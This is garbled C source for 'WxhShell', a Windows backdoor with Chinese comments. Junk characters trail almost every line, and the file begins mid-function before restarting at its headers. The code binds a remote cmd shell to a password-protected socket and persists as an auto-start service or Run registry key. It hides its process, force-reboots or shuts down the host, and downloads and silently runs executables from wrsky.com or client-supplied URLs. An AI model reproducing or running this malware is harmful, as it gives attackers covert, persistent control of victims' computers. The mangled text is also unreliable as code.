    if(Boot(SHUTDOWN)) Xl/G|jB9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9wq%Fnt  
    else { ZM#WdP  
    closesocket(wsh); Vw{Ys6q  
    ExitThread(0); %C3cdy_c  
    } 1=;QWb6  
    break; m|]^f;7z  
    } *c AoE l  
  // 获取shell sRZ:9de+  
  case 's': { <y.D0^68  
    CmdShell(wsh); "q`%d_  
    closesocket(wsh); EkL\~^  
    ExitThread(0); nUd\4;J#  
    break; X#3<hN*v  
  } `U g.c  
  // 退出 6#KI? 6  
  case 'x': { Dz50,*}J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *cf"l  
    CloseIt(wsh); 8zc!g|5"  
    break; + kF[Oh#  
    } P+b^;+\1s  
  // 离开 %b{!9-n}  
  case 'q': { ^ Wl/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *.*:(7`  
    closesocket(wsh); aqM_t  
    WSACleanup(); !n{c#HfG  
    exit(1); UeICn@)\y  
    break; $1?X%8V  
        } 5{g9Wh[  
  } JG<3,>@%  
  } /J+)P<_A  
@}?D<O8#"#  
  // 提示信息 =N{eiJ.(p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lq[wabF  
} %8*d)AB:  
  } 6g"<i}_|  
;:|KfXiC8  
  return; $McO'Bye{h  
} 'i(p@m<'  
Q'a N|^w"f  
// shell模块句柄 ?8,N4T0)  
int CmdShell(SOCKET sock) +wUhB\F *  
{ Dgm%Ng  
STARTUPINFO si; d>`(.qvxR  
ZeroMemory(&si,sizeof(si)); if}]8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rl^LS z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -7O/ed+  
PROCESS_INFORMATION ProcessInfo; h(8;7} K  
char cmdline[]="cmd"; o3yqG#dA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (7b_g6>:  
  return 0; ]-'9|N*}l  
} w Y. g- 3  
i/J NG  
// 自身启动模式 %^l&fM*  
int StartFromService(void) +zdkdS,2<  
{ +r$.v|6  
typedef struct / 3k\kkv!  
{ 5lxq-E3  
  DWORD ExitStatus; z{g<y^Im+E  
  DWORD PebBaseAddress; I7PWO d  
  DWORD AffinityMask; 9AYe,R  
  DWORD BasePriority; @c !67Z  
  ULONG UniqueProcessId; na3kHx@  
  ULONG InheritedFromUniqueProcessId; 48g^~{T4O  
}   PROCESS_BASIC_INFORMATION; |I}+!DDuv  
SU'1#$69F  
PROCNTQSIP NtQueryInformationProcess; YhT1P fl  
nh=Us^xD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; arLl8G[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (<C%5xk  
6h_k`z  
  HANDLE             hProcess; |<|,RI?  
  PROCESS_BASIC_INFORMATION pbi; V3W85_*  
<u?hdwW \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \.1b\\  
  if(NULL == hInst ) return 0; Gr@{p"./z  
N`Xnoehu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Z`eNz}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `7%eA9*.m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G`#gV"PlC  
4_%FSW8-  
  if (!NtQueryInformationProcess) return 0; CDYx/yO  
uHro%UAd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^X;Xti  
  if(!hProcess) return 0; ~fp+@j-A  
{}o>ne nx\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -fx88  
O|&TL9:  
  CloseHandle(hProcess); D Ok^ON  
aaug u.9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I!7.fuO  
if(hProcess==NULL) return 0; 70 UgKE  
!(_xu{(DL  
HMODULE hMod; K2rS[Kdfaq  
char procName[255]; 9H}iX0O  
unsigned long cbNeeded; A4Q)YY9~  
6+;2B<II  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iB3 +KR  
f5b`gvCY,#  
  CloseHandle(hProcess); %H}Y]D~R  
8*#][ wC2  
if(strstr(procName,"services")) return 1; // 以服务启动 `/JR}g{O  
wwcwYPeg  
  return 0; // 注册表启动 a^T4\  
}  q3-;}+  
/^33 e+j  
// 主模块 fd"~[ z[  
int StartWxhshell(LPSTR lpCmdLine) sR>;h /  
{ 4`-?r%$,:  
  SOCKET wsl; 31sgf5 s  
BOOL val=TRUE; C$RAJ  
  int port=0; Omh&)|Iql  
  struct sockaddr_in door; Fl+tbF  
]t*P5  
  if(wscfg.ws_autoins) Install(); FV6he [,  
7k t7^V<  
port=atoi(lpCmdLine); K aQq[a  
:y-0qz D?  
if(port<=0) port=wscfg.ws_port; &Y>~^$`J  
 mz VuQ  
  WSADATA data; A[ECa{ v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2V2x,!  
UE,~_hp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~R?dDL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9Oo*8wvGG  
  door.sin_family = AF_INET; ;Jbc'V'fm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k *;{n8o?)  
  door.sin_port = htons(port); Sp~Gv>uMK  
FX|lhwmc(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KpbZnW}g  
closesocket(wsl); FSwgPIO>  
return 1; h>^jq{yu  
} ,Z*3,/a  
>_0 i=.\  
  if(listen(wsl,2) == INVALID_SOCKET) { a,57`Ks+n<  
closesocket(wsl); :Y J7J4  
return 1; K!D_PxV  
} 'q};L6  
  Wxhshell(wsl); ]k`Fl,"  
  WSACleanup(); 8/>wgY  
$>h!J.t  
return 0; rGn5Q V  
%hQMC'c  
} kk /+Vx~  
%j[LRY/  
// 以NT服务方式启动 YK w!pu=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZLN_,/7  
{ Y0L5W;iM  
DWORD   status = 0; Z}K.^\S9  
  DWORD   specificError = 0xfffffff; ,+NE:_  
tgvpf /cQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bco[L@6G$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y800(z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5<)gCHa  
  serviceStatus.dwWin32ExitCode     = 0; 43u PH1 )  
  serviceStatus.dwServiceSpecificExitCode = 0; -l40)^ E}  
  serviceStatus.dwCheckPoint       = 0; dp UdFuU"  
  serviceStatus.dwWaitHint       = 0; LA;V}%y ?  
~^%0V<*-}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K?FX<PT  
  if (hServiceStatusHandle==0) return; tJ h3$K\  
v/aPiFlw  
status = GetLastError(); KT lP:pB;  
  if (status!=NO_ERROR) =!g/2;-or  
{ ph8Jn+|E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |>IUtUg\  
    serviceStatus.dwCheckPoint       = 0; 0?6 If+AC  
    serviceStatus.dwWaitHint       = 0; :?$Sb8OuIL  
    serviceStatus.dwWin32ExitCode     = status; ){:q;E]^fB  
    serviceStatus.dwServiceSpecificExitCode = specificError; 47C(\\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0V>ESyae5  
    return; X@ bn??  
  } QWz Op\+  
r(,= uLc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; da9*9yN  
  serviceStatus.dwCheckPoint       = 0; (pT(&/\8  
  serviceStatus.dwWaitHint       = 0; /jjW/ lr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ere?d~8  
} o8};e  
1Es*=zg  
// 处理NT服务事件,比如:启动、停止 Y0Hq+7x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C>Omng1>^  
{ 2xL!PR-  
switch(fdwControl) :_o] F  
{ _uO!N(k.  
case SERVICE_CONTROL_STOP: B8cBQv  
  serviceStatus.dwWin32ExitCode = 0; -'O Q-5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LXh@o1  
  serviceStatus.dwCheckPoint   = 0; f%Z;05  
  serviceStatus.dwWaitHint     = 0; L@1,7@  
  { J$6-c' 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JVUZ}#O  
  } F_Z&-+,*3t  
  return; `N|U"s;  
case SERVICE_CONTROL_PAUSE: nJtEUVMt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7x[LF ^o  
  break; ( Lok  
case SERVICE_CONTROL_CONTINUE: \A'|XdQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /-!&k  
  break; SE,o7_k'S  
case SERVICE_CONTROL_INTERROGATE: .0nn0)"  
  break; OYszW]UMg  
}; XD $%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fV.A=*1l#  
} 4 |zdXS  
L;1$xI8tx  
// 标准应用程序主函数 u%6Irdx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z/89&Uy`h  
{ lj " Z  
>\|kJ?h  
// 获取操作系统版本 Cec9#C  
OsIsNt=GetOsVer(); %sOWg.0_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bx hPjAL  
_o@(wGeu#  
  // 从命令行安装 G$?|S@I,  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4zo4H~@gk  
rao</jN.9  
  // 下载执行文件 ?1GY%-  
if(wscfg.ws_downexe) { ^l Hb&\X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1fz*S IjG  
  WinExec(wscfg.ws_filenam,SW_HIDE); -M7K8  
} `ir&]jh.A  
L# `lQ"`K  
if(!OsIsNt) { ,N;))3  
// 如果时win9x,隐藏进程并且设置为注册表启动 'i@,~[Z4  
HideProc(); zW*}`S "  
StartWxhshell(lpCmdLine); vKcl6bVT  
} |A ;o0pL  
else OOEV-=  
  if(StartFromService()) v-P8WFjca  
  // 以服务方式启动 89LpklD  
  StartServiceCtrlDispatcher(DispatchTable); ]]el|  
else E S#rs="  
  // 普通方式启动 $x?NNS_ "J  
  StartWxhshell(lpCmdLine); qSFc=Wwc  
lhLnygUk  
return 0; *)MX%`Z}  
} <lC]>L  
V~/.Y&WN  
Sg-g^ dIN1  
,\BVV,  
=========================================== cU7rq j_  
Yta1`  
-Qg 2qN2{  
|0tg:\.  
./5jx2V  
:z B}z^8-  
"  Sa%zre@  
uz]E_&2  
#include <stdio.h> . _1jk  
#include <string.h> g d z  
#include <windows.h> aRbx   
#include <winsock2.h> lkV6qIj   
#include <winsvc.h> ,VPbUo@  
#include <urlmon.h> S3SV.C:z>  
'I&|1I^  
#pragma comment (lib, "Ws2_32.lib") ,`;jvY~Ec  
#pragma comment (lib, "urlmon.lib") ./#e1m?.  
HR;/Br  
#define MAX_USER   100 // 最大客户端连接数 uA~YRKer  
#define BUF_SOCK   200 // sock buffer y)6,0K {k  
#define KEY_BUFF   255 // 输入 buffer NA+&jV  
G7 1U7  
#define REBOOT     0   // 重启 sa_R$ /H  
#define SHUTDOWN   1   // 关机 u FMIY(vB  
>Y}7[XK  
#define DEF_PORT   5000 // 监听端口 UQ5BH%EPb  
C1V# ?03eI  
#define REG_LEN     16   // 注册表键长度 !tI=`Ml[  
#define SVC_LEN     80   // NT服务名长度 tC2N >C[N  
8O;Vl  
// 从dll定义API 0eFb?Z0]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GP* +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1 ojhh7<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9u?(^(.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L59bu/LfL  
,!`SY)  
// wxhshell配置信息 #e*X0;m  
struct WSCFG { 9ftN8Svw  
  int ws_port;         // 监听端口 ]$3+[9x'  
  char ws_passstr[REG_LEN]; // 口令 mV<i JZh  
  int ws_autoins;       // 安装标记, 1=yes 0=no CoJ55TAW  
  char ws_regname[REG_LEN]; // 注册表键名  2A*/C7  
  char ws_svcname[REG_LEN]; // 服务名 G-arnu)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (B&h;U$HAH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $'^&\U~?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y[Es  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~uB'3`x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DR6]-j!FK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qh-[L  
Qu`n&  
}; tVunh3-  
:y\09)CJK  
// default Wxhshell configuration S."7+g7Ar  
struct WSCFG wscfg={DEF_PORT, Sr&T[ex,.  
    "xuhuanlingzhe", Y~az!8j;Z  
    1, kBbl+1{H  
    "Wxhshell", Uh.Sc:trA  
    "Wxhshell", 9mQ#L<Ps  
            "WxhShell Service", v Xb:  
    "Wrsky Windows CmdShell Service", $_)=8"Sn  
    "Please Input Your Password: ", ,<sm,!^<r  
  1, 4b4QbJ$  
  "http://www.wrsky.com/wxhshell.exe", PRD_!VOW  
  "Wxhshell.exe" |1"!k A  
    };  Vu [:A  
hY+R'9  
// 消息定义模块 _9NVE|c;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ET)>#zp+s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }kE87x'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J='W+=N  
char *msg_ws_ext="\n\rExit."; 0N{+y}/G  
char *msg_ws_end="\n\rQuit."; i&A%"lOI9  
char *msg_ws_boot="\n\rReboot..."; XvskB[\  
char *msg_ws_poff="\n\rShutdown..."; . |uLt J  
char *msg_ws_down="\n\rSave to "; ~s#e,Kav"  
X2gz6|WJ  
char *msg_ws_err="\n\rErr!"; ^Gq5ig1rxy  
char *msg_ws_ok="\n\rOK!"; snYr9O[E6  
Q2eXK[?*  
char ExeFile[MAX_PATH]; kJkxx*:u  
int nUser = 0; VFO \4:.  
HANDLE handles[MAX_USER]; cOkgoL" 4  
int OsIsNt; !%xP}{(7  
Zn&k[?;Al  
SERVICE_STATUS       serviceStatus; <qhBc:kc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Pw%DZ'  
-4flV D  
// 函数声明 ;xK_qBIP  
int Install(void); u g\w\b  
int Uninstall(void); Kd3QqVJBz1  
int DownloadFile(char *sURL, SOCKET wsh); :Q_x/+-  
int Boot(int flag); {B0h+. C  
void HideProc(void); nJJs% @y  
int GetOsVer(void); cXN _*%  
int Wxhshell(SOCKET wsl); qX$u4I!,  
void TalkWithClient(void *cs); 5h8o4  
int CmdShell(SOCKET sock); -(>qu.[8=  
int StartFromService(void); |y"jZT6R}t  
int StartWxhshell(LPSTR lpCmdLine); ?z/Vgk+9|  
`tE^jqrke5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gi]ZG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bU`=*  
v7IzDz6gF  
// 数据结构和表定义 t)N;'v  &  
SERVICE_TABLE_ENTRY DispatchTable[] = j$x)pB3]  
{ o2=A0ogz?  
{wscfg.ws_svcname, NTServiceMain}, K=6UK%y A  
{NULL, NULL} \DA$6w\\  
}; XoR>H4xh  
+y&d;0!  
// 自我安装 ?t rV72D  
int Install(void) `.=sTp2rbc  
{ Z0ReWrl;`  
  char svExeFile[MAX_PATH]; ~ y;y(4<  
  HKEY key; jxw_*^w"  
  strcpy(svExeFile,ExeFile); t`G)b&3_O  
:eOR-}p'  
// 如果是win9x系统,修改注册表设为自启动 nrpI5t.b  
if(!OsIsNt) { 8g*hvPc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *7" L]6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4_LQ?U>$  
  RegCloseKey(key); #Qbl=o4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y ?'tUV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &Un6ay  
  RegCloseKey(key); ,P6=~q3k  
  return 0; aMK~1]Cx  
    } 5HlWfD  
  } ksWSMxm  
} [vTMS2  
else { q0O&UE)6Y  
lKKERO5+  
// 如果是NT以上系统,安装为系统服务 'r+PH*Mr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KJh,,xI>by  
if (schSCManager!=0) mm[SBiFO\  
{ otr>3a*'  
  SC_HANDLE schService = CreateService B@t'U=@7  
  ( "tu*YNP\Q  
  schSCManager, 5Qa zHlJ  
  wscfg.ws_svcname, :0 ^s0l  
  wscfg.ws_svcdisp, 5j^NV&/_  
  SERVICE_ALL_ACCESS, C3VLV&wF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :b/jNHJU  
  SERVICE_AUTO_START, ~xyw>m+o.  
  SERVICE_ERROR_NORMAL, v6uxxsI>Hm  
  svExeFile, ;(6P6@+o  
  NULL, *P2[qhP2  
  NULL, |n6Eg9  
  NULL, x &=9P e(  
  NULL, 8#LJ*o  
  NULL SH8/0g?  
  ); ^J x$t/t  
  if (schService!=0) XnUO*v^]  
  { `v nJ4*  
  CloseServiceHandle(schService); wW`}VKu  
  CloseServiceHandle(schSCManager); A6UO0lyu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HIf{Z* mb  
  strcat(svExeFile,wscfg.ws_svcname); #^rU x.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2KI!af[I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]hTb@.  
  RegCloseKey(key); l@~LV}BI  
  return 0; 3HiFISA*  
    } .mxTfP=9  
  } xiM&$<LpR  
  CloseServiceHandle(schSCManager); G&9#*<F$c  
} I&]G   
} X-JV'KE}^z  
w1|Hy2D`0  
return 1; MZv\ C  
} i$UQbd  
1n%8j*bJq  
// 自我卸载 3qM Nl>>  
int Uninstall(void) 4]XI"-M^D  
{ "x*-PFT  
  HKEY key; ,&]MOe4@>  
'2^ Yw  
if(!OsIsNt) { w+AuMc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 85]SC$  
  RegDeleteValue(key,wscfg.ws_regname); :tGYs8UK  
  RegCloseKey(key); 61K"(r~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ..KwTf  
  RegDeleteValue(key,wscfg.ws_regname); k#)Ad*t  
  RegCloseKey(key); t})$lM  
  return 0; 7_\Mwy{P  
  } g+[kde;(^  
} kv?|'DN  
} -{g~TUz  
else { <GIwRVCU  
HKmcQM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (36K3=Qa  
if (schSCManager!=0) ", B'k  
{ [CN$ScK,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $3P`DJo  
  if (schService!=0) 4j'd3WGpbN  
  { ' UMFS  
  if(DeleteService(schService)!=0) { ]~c+'E`  
  CloseServiceHandle(schService); Ruaur]  
  CloseServiceHandle(schSCManager); RR|\- 8;  
  return 0; \54}T 4R  
  } YD[H  
  CloseServiceHandle(schService); pSAR/':eg  
  } HW_& !ye  
  CloseServiceHandle(schSCManager); R>)MiHcCg  
} 3 <SqoJSp  
} y] V1b{9p  
$k 2)8#\  
return 1; Nhf~PO({&  
} wNQqfq Z  
G=d(*+& B  
// 从指定url下载文件 5nLDj:C~  
int DownloadFile(char *sURL, SOCKET wsh) UpUp8%fCU  
{ YUkud2,j  
  HRESULT hr; ?y7w}W  
char seps[]= "/"; 3<(q }  
char *token; >Hwc,j q  
char *file; LtKB v 4  
char myURL[MAX_PATH]; 6m`{Z`c$  
char myFILE[MAX_PATH]; zCe/Kukvy  
Ok H\^  
strcpy(myURL,sURL); grcbH  
  token=strtok(myURL,seps); >SI<rR[~%  
  while(token!=NULL) e>H:/24  
  { Q GPw2Q  
    file=token; ;4~U,+Av  
  token=strtok(NULL,seps); |:q/Dt@  
  } r6.N4eW.L  
4\2V9F{s  
GetCurrentDirectory(MAX_PATH,myFILE); |!*Xl) ]  
strcat(myFILE, "\\"); ^PqF<d6  
strcat(myFILE, file); +V8b  
  send(wsh,myFILE,strlen(myFILE),0); {]/8skov5]  
send(wsh,"...",3,0); Zz"}Cz:bX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H7&xLYQ2  
  if(hr==S_OK) >)4YP*qIPb  
return 0; 1(gfdx9|b  
else mN}7H:,  
return 1; 1Ix3i9  
W)=%mdxW0  
} Fvl`2W94;  
h%}( h2 W  
// 系统电源模块 <[Oo*:A!7  
int Boot(int flag) < K %j  
{ v 1.*IV5Y  
  HANDLE hToken; rU\[SrIhz  
  TOKEN_PRIVILEGES tkp; F]=B'ZI  
O6c\KFBSJ  
  if(OsIsNt) { :,UN8L "  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sa#.l% #  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %u!XzdG  
    tkp.PrivilegeCount = 1; $:vkX   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QZYU0; VF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *Xr$/N  
if(flag==REBOOT) { zK5bO= 0j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b`~wG e  
  return 0; +!O- kd  
} p^QZq>v  
else { W |UtY`1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < oI8-f  
  return 0; uHM@h{r  
} ]7/gJ>g,  
  } P]6}\ ]~  
  else { o$J6 ~dn  
if(flag==REBOOT) { RUXCq`)"<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3LK%1+)4  
  return 0; N6/T#UVns  
} 8jnz}aBd  
else { !1 :@8q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GjQfi'vCk  
  return 0; %}qbkkZ  
} 8l)  
} 5cTY;@@  
^R_e  
return 1; @.9I3E-=  
} v5$s#f<   
x>3@R0A 1:  
// win9x进程隐藏模块 ")`S0n5e  
void HideProc(void) q-&P=Yk  
{ bhg}-dto  
2{o10 eL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Es8#]'Rk  
  if ( hKernel != NULL ) ok0X<MR!I  
  { |f' 8p8J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sdr.u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #Z9L_gDp  
    FreeLibrary(hKernel); Ap<J'?~y  
  } HeIS;gfUY  
[]}N  
return; A,XfD}+:Z  
} 2p< Aj!  
?2`$3[ET-  
// 获取操作系统版本 aiux^V  
int GetOsVer(void) [.cq{6-  
{ >&K!VQ{g  
  OSVERSIONINFO winfo; 5h^[^*A?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ti_u!kNv  
  GetVersionEx(&winfo); !#WqA9<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +zO]N&  
  return 1; .Ff_s  
  else ZBM!MSf:  
  return 0; ->oz#  
} q627<  
e}"wL g]  
// 客户端句柄模块 tOg=zXm   
int Wxhshell(SOCKET wsl) v\0^mp  
{ -!dQ)UEP  
  SOCKET wsh; (F&YdWe:  
  struct sockaddr_in client; =,:K)  
  DWORD myID; !Q)3-u  
BKb<2  
  while(nUser<MAX_USER) |uUuFm  
{ i21QJ6jPcI  
  int nSize=sizeof(client); +/N1_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {;n0/   
  if(wsh==INVALID_SOCKET) return 1; r+\/G{+=}  
<GfVMD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a%J /0'(d  
if(handles[nUser]==0) Y!n'" *J>  
  closesocket(wsh); \Jpw1,6  
else fusPMf *[  
  nUser++;  W"qL-KW  
  } O E|+R4M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B,y3] g6u  
-!R l(if  
  return 0; &?T${*~  
} /hci\-8N~  
?5~!i9pY  
// 关闭 socket s]x2DH+_  
void CloseIt(SOCKET wsh) 9d\N[[Vu]R  
{ L82NP)St  
closesocket(wsh); x# 8IZ  
nUser--; h48 bb.p2  
ExitThread(0); E .;io*0  
} F#1kZ@nq  
yN:>!SQ  
// 客户端请求句柄 </ZHa:=7  
void TalkWithClient(void *cs) 9dYOH)f  
{ 3B#!2|  
0/Q5d,'Y[2  
  SOCKET wsh=(SOCKET)cs; #313 (PWH  
  char pwd[SVC_LEN]; 78w4IICk  
  char cmd[KEY_BUFF]; -\,VGudM}  
char chr[1]; gKQ@!U U8  
int i,j; +]L)>$6  
Pd],}/ZG-  
  while (nUser < MAX_USER) { 8IOj[&%0  
B;c=eMw  
if(wscfg.ws_passstr) { *vs~SzF$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #pa\ 2d|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bZ1 0v;  
  //ZeroMemory(pwd,KEY_BUFF); rC rr"O#j  
      i=0; _IKQ36=  
  while(i<SVC_LEN) { ca}S{"  
C->[$HcRa  
  // 设置超时 T&*eOr  
  fd_set FdRead; UJwq n"Q^  
  struct timeval TimeOut; 6jtTT%>y  
  FD_ZERO(&FdRead); AeQC:  
  FD_SET(wsh,&FdRead); 4#@0T"T~M  
  TimeOut.tv_sec=8; ?>TbT fmR  
  TimeOut.tv_usec=0; Gx|Dql  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sy B-iQn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ._(z~3s  
3G(skphE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >I:9'"`  
  pwd=chr[0]; Esa6hU#  
  if(chr[0]==0xd || chr[0]==0xa) { VY{,x;O`  
  pwd=0; ,whM22Af~{  
  break; qAvvXs=5  
  } u2om5e:  
  i++; rr4 _8Rf  
    } -W6V,+of  
hhj ,rcsi  
  // 如果是非法用户,关闭 socket J{x##p<F$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cuNq9y;[  
} >rRjm+vg  
)#mW7m9M#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !$XO U'n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G`WzJS*}v  
#nDL  
while(1) { 5Wl,J _<F  
2}@*Ki7  
  ZeroMemory(cmd,KEY_BUFF); KK .cDAR  
s9kTuhoK  
      // 自动支持客户端 telnet标准   wEv*1y4  
  j=0; jaNH](V  
  while(j<KEY_BUFF) { '[xut1{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A7e_w 7?a  
  cmd[j]=chr[0]; Qvs(Rt3?y  
  if(chr[0]==0xa || chr[0]==0xd) { WT1q15U(=  
  cmd[j]=0; *IVD/9/  
  break; s'2y%E#  
  } &U8 54  
  j++; ur`}v|ZY  
    } "SDsISWd  
AF QnCl Of  
  // 下载文件 Q!Msy<v  
  if(strstr(cmd,"http://")) { >sB=\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LsUFz_  
  if(DownloadFile(cmd,wsh)) 739l%u }<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Q)y%7 {6  
  else ?n73J wH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a6OrE*x:D  
  } v3 !byN^  
  else { _4!7 zW^  
B0NN>)h  
    switch(cmd[0]) { dUUPhk0  
  |)*m[_1  
  // 帮助 YDdLDE  
